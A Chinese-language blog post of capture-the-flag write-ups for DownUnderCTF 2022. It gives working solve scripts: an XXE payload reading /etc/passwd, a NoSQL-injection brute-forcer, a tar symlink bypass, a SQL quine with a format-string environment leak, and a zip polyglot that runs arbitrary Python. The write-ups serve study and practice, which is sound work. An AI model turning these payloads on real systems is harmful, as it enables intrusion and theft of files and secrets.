13 分鐘閱讀

Yet another CTF writeups ;)

Intro

久違的用e^iπ+1day的隊名自已打CTF,

雖然這次沒有解很多題,但是學到了不少,以下紀錄一些我有解掉的題目和有一題差一點解掉但有趣的題目

helicoptering (Web)

Overview

flag被切成兩半,一半放在/one/flag.txt,另一半放在/two/flag.txt

兩個都會靠.htaccess去阻擋request,.htaccess分別為:

/one/.htaccess:

RewriteEngine On
RewriteCond %{HTTP_HOST} !^localhost$
RewriteRule ".*" "-" [F]

/two/.htaccess:

RewriteEngine On
RewriteCond %{THE_REQUEST} flag
RewriteRule ".*" "-" [F]

Solution

水題,讀一讀.htaccess的規則就能解了

part one可以靠改Host header繞過:

GET /one/flag.txt HTTP/1.1
Host: localhost
Connection: close

part two可以靠改urlencode繞過:

GET /two/%66lag.txt HTTP/1.1
Host: 34.87.217.252:30026
Connection: close

flag: DUCTF{thats_it_next_time_im_using_nginx}

dyslexxec (web)

Overview

這題題目的code看起來很雜,但實際上server在做的事就是在讀excel檔的metadata而已

WORKBOOK = "xl/workbook.xml"

@app.route("/downloads/fizzbuzz")
def return_fizzbuzz():
    return send_file("./fizzbuzz.xlsm")

@app.route("/upload/testPandasImplementation")
def upload_file():
    return render_template("upload.html")

@app.route("/metadata", methods = ['GET', 'POST'])
def view_metadata():
    if request.method == "GET":
        return render_template("error_upload.html")

    if request.method == "POST":
        f = request.files["file"]
        
        tmpFolder = "./uploads/" + str(uuid.uuid4())
        os.mkdir(tmpFolder)
        filename = tmpFolder + "/" + secure_filename(f.filename)
        f.save(filename)

        try:
            properties = getMetadata(filename)
            extractWorkbook(filename, tmpFolder)
            workbook = tmpFolder + "/" + WORKBOOK
            properties.append(findInternalFilepath(workbook))
        except Exception:
            return render_template("error_upload.html")
        finally:
            shutil.rmtree(tmpFolder)
        
        return render_template("metadata.html", items=properties)

可以觀察到在上傳檔案到/metadata時,server會去parse excel檔的metadata

其中比較值得注意的是findInternalFilepath的實作方式:

def findInternalFilepath(filename):
    try:
        prop = None
        parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
        tree = etree.parse(filename, parser=parser)
        root = tree.getroot()
        internalNode = root.find(".//{http://schemas.microsoft.com/office/spreadsheetml/2010/11/ac}absPath")
        if internalNode != None:
            prop = {
                "Fieldname":"absPath",
                "Attribute":internalNode.attrib["url"],
                "Value":internalNode.text
            }
        return prop

    except Exception:
        print("couldnt extract absPath")
        return None

此處特別用了lxmletree.XMLParser去parsexl/workbook.xml

Solution

經典的XXE,由於parser開了load_dtdresolve_entities,只需要在internalNode裡面放可以讀檔的xxe payload即可:

xl/workbook.xml (...指的是其他不重要的東西,這個payload只需要修改server給的fizzbuzz.xlsm即可):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE root [<!ENTITY file SYSTEM 'file:///etc/passwd'>]>
...
<x15ac:absPath url="/Users/Shared/" xmlns:x15ac="http://schemas.microsoft.com/office/spreadsheetml/2010/11/ac">&file;</x15ac:absPath>
...

solve.py:

import requests
import os

URL = "https://web-dyslexxec-773a3cb4c483.2022.ductf.dev"

def main() -> None:
    s = requests.Session()
    if not os.path.exists("fizzbuzz.xlsm"):
        r = s.get(URL + "/downloads/fizzbuzz")
        with open("fizzbuzz.xlsm", "wb") as f:
            f.write(r.content)
    os.system("zip fizzbuzz.xlsm xl/workbook.xml")
    with open("fizzbuzz.xlsm", "rb") as f:            
        r = s.post(URL + "/metadata", files={
            "file": ("exploit.xlsm", f.read(), "application/vnd.ms-excel.sheet.macroEnabled.12")
        })
        print(r.text)

main()

flag: DUCTF{cexxelsyd_work_my_dyslexxec_friend}

noteworthy (web)

Overview

首先server會利用mongodb創建一個屬於admin的note,且裡面放了flag:

    let admin = await User.findOne({ username: 'admin' })
    if(!admin) {
        admin = new User({ username: 'admin' })
        await admin.save()
    }
    let note = await Note.findOne({ noteId: 1337 })
    if(!note) {
        const FLAG = process.env.FLAG || 'DUCTF{test_flag}'
        note = new Note({ owner: admin._id, noteId: 1337, contents: FLAG })
        await note.save()
        admin.notes.push(note)
        await admin.save()
    }

所以目標很明確,就是想辦法把admin的note弄出來

而查看note中的內容的功能主要寫在/edit這個route底下:

router.post('/edit', ensureAuthed, async (req, res, next) => {
    let q = req.query
    try {
        if('noteId' in q && parseInt(q.noteId) != NaN) {
            const note = await Note.findOne(q)

            if(!note) {
                return next({ message: 'Note does not exist!' })
            }

            if(note.owner.toString() != req.user.userId.toString()) {
                return next({ message: 'You are not the owner of this note!' })
            }

            let { contents } = req.body
            if(!contents || contents.length > 200) {
                return next({ message: 'Invalid contents' })
            }
            contents = contents.toString()
            note.contents = contents
            await note.save()
            return res.json({ success: true, message: 'Note edited.' })
        } else {
            return next({ message: 'Invalid request' })
        }
    } catch(e) {
        return next({ message: 'Invalid request' })
    }
})

Solution

可以發現,server在用mongodb query note的時候是直接把req.query當成findOnequeryparameter

let q = req.query
    try {
        if('noteId' in q && parseInt(q.noteId) != NaN) {
            const note = await Note.findOne(q)
            ...

且可以發現,這個server在處理?a[][b]=c這種query時,實際上會parse成:

{
    a: [
        {
            b: "c"
        }
    ]
}

所以當我們輸入?$and[][contents][$gt]=UCTF{&noteId=1337時,server會執行

const note = await Note.findOne(
    {
        $and: [
            {
                contents: {
                    $gt: "UCTF"
                }
            }
        ],
        noteId: 1337
    }
)

findOne API 詳見 mongodb的doc

這時,因為UCTF{REAL_FLAG} > UCTF{,所以$and的結果成立

server會執行這一段code:

if(note.owner.toString() != req.user.userId.toString()) {
    return next({ message: 'You are not the owner of this note!' })
}

故server會順利fetch到noteId為1337的note,且我們會在response中看到You are not the owner of this note!的訊息

但當我們執行以下的query時:

const note = await Note.findOne(
    {
        $and: [
            {
                contents: {
                    $gt: "UCTX"
                }
            }
        ],
        noteId: 1337
    }
)

由於X > F,所以UCTF{REAL_FLAG}<UCTX$and的結果是不成立的

故server會執行這段code:

if(!note) {
    return next({ message: 'Note does not exist!' })
}

我們看到的訊息會是Note does not exist!

所以依靠這個方式,我們就能靠response的不同,爆破flag的內容

以下是solve script:

import requests
import secrets
import string

URL = "https://web-noteworthy-873b7c844f49.2022.ductf.dev"
chs = string.ascii_lowercase + string.ascii_uppercase + string.digits + "'.+-!@#$%?_"
chs = sorted(chs)

def is_query_success(s:requests.Session, query:str) -> bool:
    r = s.post(URL + "/edit", params={
        "noteId": "1337",
        "$and[][contents][$gt]": query,
    })

    return "Note does not exist!" not in r.text and "You are not the owner of this note!" in r.text

def sanity_check(s:requests.Session) -> None:
    if is_query_success(s, "ZZZZZZZZZ") or not is_query_success(s, "DUCTF{"):
        print("Sanity check failed!")
        exit(1)
    print("Sanity check passed! Let's go!")

def main() -> None:
    s = requests.Session()

    r = s.post(URL + "/register", json={
        "username": secrets.token_hex(16),
        "password": secrets.token_hex(16),
    })

    assert r.json()["success"] == True

    flag = "DUCTF{" # DUCTF{n0sql1_1s_th3_new_5qli}

    sanity_check(s)

    while not flag.endswith("}"):
        found = False
        for i, c in enumerate(chs):
            print("Trying:", flag + c)
            if not is_query_success(s, flag + c):
                flag += chs[i - 1]
                print("Found:", flag)
                found = True
                break
        if not found:
            flag += "}"
            print("Found:", flag)

    print("Flag:", flag)

main()

flag: DUCTF{n0sql1_1s_th3_new_5qli}

Overview

這題的server是用ruby寫的,主要的code是:

post '/' do
  unless params[:tarfile] && (tempfile = params[:tarfile][:tempfile])
    return err "File not sent"
  end
  unless tempfile.size <= 10240
    return err "File too big"
  end 
  
  path = SecureRandom.hex 16
  unless Dir.mkdir "uploads/#{path}", 0755
    return err "Error creating directory"
  end
  unless system "tar -xvf #{tempfile.path} -C uploads/#{path}"
    return err "Error extracting tar file"
  end

  links = Dir.glob("uploads/#{path}/**/*", File::FNM_DOTMATCH).select do |f|
    # Don't show . or ..
    if [".", ".."].include? File.basename f
      false
    # Don't show symlinks. Additionally delete them, they may be unsafe
    elsif File.symlink? f
      File.unlink f
      false
    # Don't show directories (but show files under them)
    elsif File.directory? f
      false
    # Show everything else
    else
      true
    end
  end

  return ok links
end

get '/uploads/*' do
  filepath = "uploads/#{::Rack::Utils.clean_path_info params['splat'].first}"
  halt 404 unless File.file? filepath
  send_file filepath 
end

server會給你上傳一個tar,解壓之後會glob解壓的目錄底下的所有檔案,unlink所有symlink

Solution

比賽時我只有嘗試改symlink的mode,所以最後沒有解出來

最後的解法其實是:

若一個目錄沒有read權限,glob是找不到裡面有哪些東西的!

所以只需要把flag的symlink藏在那個folder中,即可繞過檢查

solve.py:

import requests
import tarfile
from io import BytesIO
import re

URL = "https://web-no-symlink-821c2e0dbc5e.2022.ductf.dev/"


def create_tarfile():
    with tarfile.open("tarfile.tar", "w") as tar:
        txt = tarfile.TarInfo("test.txt")
        txt.size = len("test")
        tar.addfile(txt, BytesIO(b"test"))
        dir = tarfile.TarInfo("dir/")
        dir.type = tarfile.DIRTYPE
        # execute only
        dir.mode = 0o100
        tar.addfile(dir)
        flag = tarfile.TarInfo("dir/flag")
        flag.type = tarfile.SYMTYPE
        flag.linkname = "/flag"
        tar.addfile(flag)


def main():
    create_tarfile()
    with open("tarfile.tar", "rb") as f:
        r = requests.post(URL, files={"tarfile": f})
        # print(r.text)
        folder = re.search(r"uploads/(\w+)/test\.txt", r.text).group(1)
        print(requests.get(URL + "uploads/" + folder + "/dir/flag").text)
        # DUCTF{are_symlinks_really_worth_the_trouble_they_cause?????}


main()

flag: DUCTF{are_symlinks_really_worth_the_trouble_they_cause?????}

sqli2022

Overview

這題的code很簡單,基本上就是有一個很明顯的sql injection漏洞,但server會去確認query的結果和post request的內容是不是一樣的

@app.route('/', methods=['POST'])
def root_post():
    post = request.form
    
    # Sent params?
    if 'username' not in post or 'password' not in post:
        return 'Username or password missing from request'

    # We are recreating this every request
    con = sqlite3.connect(':memory:')
    cur = con.cursor()
    cur.execute('CREATE TABLE users (username TEXT, password TEXT)')
    cur.execute(
        'INSERT INTO users VALUES ("admin", ?)',
        [hashlib.md5(os.environ['FLAG'].encode()).hexdigest()]
    )

    query = 'SELECT * FROM users WHERE username = {post[username]!r} AND password = {post[password]!r}'.format(post=post)

    output = cur.execute(
        'SELECT * FROM users WHERE username = {post[username]!r} AND password = {post[password]!r}'
        .format(post=post)
    ).fetchone()
    
    # Credentials OK?
    if output is None:
        return 'Wrong credentials'
    
    # Nothing suspicious?
    username, password = output
    if username != post["username"] or password != post["password"]:
        return 'Wrong credentials (are we being hacked?)'
    
    # Everything is all good
    return f'Welcome back {post["username"]}! The flag is in FLAG.'.format(post=post)

Solution

這題和2020年的AIS3 EOF Qual的Cyberpunk 1977非常像

一樣分為兩個步驟SQL Quine和format string的洞

SQL Quine的部分我到現在還是沒辦法自己寫出來…,所以我是直接修改splitline的Cyberpunk 1977的exploit

!r把這題弄的很麻煩,所以修payload的過程真的痛苦…

format string的部分就簡單了,可以觀察到:

return f'Welcome back {post["username"]}! The flag is in FLAG.'.format(post=post)

會把post["username"]先用f-string放進那一段字串中,再使用.format去把request.post放進去

debug一下可以發現,可以利用request.post.pop.__globals__['os'].environ['FLAG']拿到flag

所以我們只需要讓username等於{post.pop.__globals__[os].environ[FLAG]},即可拿到flag

最後的solve.py:

import requests

URL = "https://web-sqli2022-85d13aec009e.2022.ductf.dev/"
# URL = "http://127.0.0.1:5000"


def main() -> None:
    username = "{post.pop.__globals__[os].environ[FLAG]}"
    query = f'\'UNION SELECT "{username}",substr(query,2,###)||char(34)||replace(substr(query,2),char(34),char(34)||char(34))||char(34)||substr(query,@@@)'
    password = f"""
{query} FROM(SELECT "{query.replace('"','""')} FROM(SELECT as query)--" as query)--
""".strip()
    offset = password.index('"\x27UNION')
    password = password.replace("###", str(offset)).replace("@@@", str(offset + 1))
    print("username:")
    print(username)
    print("password:")
    print(password)
    server_query = "SELECT * FROM users WHERE username = {username!r} AND password = {password!r}".format(
        username=username, password=password
    )
    print("server query:")
    print(server_query)
    r = requests.post(URL, data={"username": username, "password": password})
    print(r.text)  # DUCTF{alternative_solution_was_just_to_crack_the_hash_:p}


main()

flag: DUCTF{alternative_solution_was_just_to_crack_the_hash_:p}

source provided (reverse)

Overview

這題是用x86 asm寫的程式

SECTION .data
c db 0xc4, 0xda, 0xc5, 0xdb, 0xce, 0x80, 0xf8, 0x3e, 0x82, 0xe8, 0xf7, 0x82, 0xef, 0xc0, 0xf3, 0x86, 0x89, 0xf0, 0xc7, 0xf9, 0xf7, 0x92, 0xca, 0x8c, 0xfb, 0xfc, 0xff, 0x89, 0xff, 0x93, 0xd1, 0xd7, 0x84, 0x80, 0x87, 0x9a, 0x9b, 0xd8, 0x97, 0x89, 0x94, 0xa6, 0x89, 0x9d, 0xdd, 0x94, 0x9a, 0xa7, 0xf3, 0xb2

SECTION .text

global main

main:
    xor rax, rax
    xor rdi, rdi
    mov rdx, 0x32
    sub rsp, 0x32
    mov rsp, rsi
    syscall

    mov r10, 0
l:
    movzx r11, byte [rsp + r10]
    movzx r12, byte [c + r10]
    add r11, r10
    add r11, 0x42
    xor r11, 0x42
    and r11, 0xff
    cmp r11, r12
    jne b

    add r10, 1
    cmp r10, 0x32
    jne l

    mov rax, 0x3c
    mov rdi, 0
    syscall

b:
    mov rax, 0x3c
    mov rdi, 1
    syscall

Solution

目標是讓r11和r12 cmp完不要jump到b,依照這個邏輯,直接上z3就行了

solve.py:

from z3 import *
import string

c = [0xc4, 0xda, 0xc5, 0xdb, 0xce, 0x80, 0xf8, 0x3e, 0x82, 0xe8, 0xf7, 0x82, 0xef, 0xc0, 0xf3, 0x86, 0x89, 0xf0, 0xc7, 0xf9, 0xf7, 0x92, 0xca, 0x8c, 0xfb, 0xfc, 0xff, 0x89, 0xff, 0x93, 0xd1, 0xd7, 0x84, 0x80, 0x87, 0x9a, 0x9b, 0xd8, 0x97, 0x89, 0x94, 0xa6, 0x89, 0x9d, 0xdd, 0x94, 0x9a, 0xa7, 0xf3, 0xb2]
chs = string.printable.encode()

def main() -> None:
    s = Solver()
    flag = [BitVec(f"flag{i}", 10) for i in range(50)]
    for i, ch in enumerate("DUCTF{"):
        s.add(flag[i] == ord(ch))
    s.add(flag[-1] == ord("}"))
    for f in flag:
        s.add(Or([f == ch for ch in chs]))
    # print(s)
    for r10 in range(50):
        r11 = flag[r10]
        r12 = c[r10]
        '''
        add r11, r10
        add r11, 0x42
        xor r11, 0x42
        and r11, 0xff
        cmp r11, r12
        '''
        r11 = r11 + r10 + 0x42
        r11 = r11 ^ 0x42
        r11 = r11 & 0xff
        s.add(r11 == r12)
    if s.check() == sat:
        m = s.model()
        print(bytes([m[f].as_long() for f in flag]).decode())


if __name__ == "__main__":
    main()

flag: DUCTF{r3v_is_3asy_1f_y0u_can_r34d_ass3mbly_r1ght?}

baby arx (crypto)

Overview

題目會把flag當成key做stream cipher

class baby_arx():
    def __init__(self, key):
        assert len(key) == 64
        self.state = list(key)

    def b(self):
        b1 = self.state[0]
        b2 = self.state[1]
        b1 = (b1 ^ ((b1 << 1) | (b1 & 1))) & 0xff
        b2 = (b2 ^ ((b2 >> 5) | (b2 << 3))) & 0xff
        b = (b1 + b2) % 256
        self.state = self.state[1:] + [b]
        return b

    def stream(self, n):
        return bytes([self.b() for _ in range(n)])


FLAG = open('./flag.txt', 'rb').read().strip()
cipher = baby_arx(FLAG)
out = cipher.stream(64).hex()
print(out)

# cb57ba706aae5f275d6d8941b7c7706fe261b7c74d3384390b691c3d982941ac4931c6a4394a1a7b7a336bc3662fd0edab3ff8b31b96d112a026f93fff07e61b

Solution

因為我們知道flag的開頭是DUCTF{,所以是有可能暴力恢復明文的

這裡再次使用z3去爆破

需要注意的時是我當時卡了一陣子,因為BitVec的bits數我一開始只設定8,導致有些超過8 bits的數算不出來,最後改成10bits就可以了

solve.py:

from z3 import *
import string

chs = string.printable
chs = sorted(chs.encode())


def main() -> None:
    s = Solver()
    flag = [BitVec(f"flag_{i}", 10) for i in range(64)]
    state = flag.copy()
    output = "cb57ba706aae5f275d6d8941b7c7706fe261b7c74d3384390b691c3d982941ac4931c6a4394a1a7b7a336bc3662fd0edab3ff8b31b96d112a026f93fff07e61b"
    output = bytes.fromhex(output)
    # print("ouptut:", output)
    assert len(output) == 64

    for i, c in enumerate(b"DUCTF{"):
        s.add(flag[i] == c)
    s.add(flag[-1] == ord("}"))

    # print(s)

    for i in range(64):
        s.add(Or([flag[i] == c for c in chs]))
        b1 = state[0]
        b2 = state[1]
        b1 = (b1 ^ ((b1 << 1) | (b1 & 1))) & 0xFF
        b2 = (b2 ^ ((b2 >> 5) | (b2 << 3))) & 0xFF
        b = (b1 + b2) % 256
        state = state[1:] + [b]
        s.add(b == output[i])

    # print(s)

    assert s.check() == sat
    # while s.check() == sat:
    if s.check() == sat:
        flag_str = "".join(chr(s.model()[f].as_long()) for f in flag)
        print(flag_str)
        # s.add(Or([f != s.model()[f] for f in flag]))


main()

flag: DUCTF{i_d0nt_th1nk_th4ts_h0w_1t_w0rks_actu4lly_92f45fb961ecf420}

Not a pyjail (misc)

Overview

Server會在你輸入的Python code的最前面插入exit(0)\n,之後寫入一個temp file後用python <script>的方式去run他,如果有stderr的話就輸出

#!/usr/bin/env python3

import subprocess
import sys
import tempfile

print("Welcome to the Python syntax checking service!")
print("The safest code is the code you don't even execute.")
print("Enter your code. Write __EOF__ to end.")

code = b"exit(0)\n"
for line in sys.stdin.buffer:
    if line.strip() == b"__EOF__":
        break
    code += line

with tempfile.NamedTemporaryFile() as sandbox:
    sandbox.write(code)
    sandbox.flush()
    pipes = subprocess.Popen(["python3", sandbox.name], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    _, stderr = pipes.communicate()
    if pipes.returncode == 0:
        print("Syntax OK!") 
    else:
        print("There was an error:")
        print(stderr.decode())

Solution

看起來不太可能可以執行任意的Python code,因為一開始就exit(0)

但實際上,若仔細看Python的document,可以發現:

https://docs.python.org/3/using/cmdline.html#interface-options

<script>

Execute the Python code contained in script, which must be a filesystem path (absolute or relative) referring to either a Python file, a directory containing a __main__.py file, or a zipfile containing a __main__.py file.

可以注意到,python的script不僅支援一般文字檔的script,還支持目錄或是zipfile!

但這有什麼用呢?

若有玩過2021 0ctf的1linephp的話,應該還記得zip檔其實是很鬆散的,

且因爲zip是從檔案的後面開始讀,所以他的prefix不一定要是PK......,可以是任意的字元

相關的writeup和zip的構造方法可以看perfect blue的writeup

故綜合上述資訊,我們只需要構造一個包含__main__.py的zip檔,且prefix為exit(0)\n即可,最後切掉exit(0)\n後送出就可以了任意執行Python code了

後來跟maple3142討論才知道,其實根本不用去fix那個zip,直接把zip整個塞到exit(0)\n後面也能成功 lol

過了這一關後,還有另一個小問題是server似乎沒有對外連線,所以沒辦法寫reverse shell出來,

但由於server會把stderr的東西print出來,所以只需要透過stderr把flag送出來即可(這裡我利用raise Exception(FLAG))

solve script:

import os
from pwn import *

# context.log_level = "debug"


def main():
    with open("__main__.py", "w") as f:
        f.write("raise Exception(open('/chal/flag.txt').read())")
    if os.path.exists("a.zip"):
        os.remove("a.zip")
    os.system("zip a.zip __main__.py")
    os.system("echo 'exit(0)' > f")
    os.system("printf AA >> f")
    os.system("cat f a.zip > b.zip")
    os.system("zip -F b.zip --out c.zip")
    io = remote("2022.ductf.dev", 30002)
    with open("c.zip", "rb") as f:
        payload = f.read()
        payload = payload[len("exit(0)\n") :]
        io.sendlineafter(b"Write __EOF__ to end.", payload)
    io.sendline(b"__EOF__")

    io.interactive()  # Exception: DUCTF{next_time_ill_just_use_ast.parse}


if __name__ == "__main__":
    main()

flag: DUCTF{next_time_ill_just_use_ast.parse}

Summary

這場的題目很多,但最後很可惜,沒解幾題(有些沒source code的web真的好難解…)

不過還是學到不少東西: tar和linux的相關知識、z3的操作、SQL Quine等等,總體來說是很不錯的一場CTF!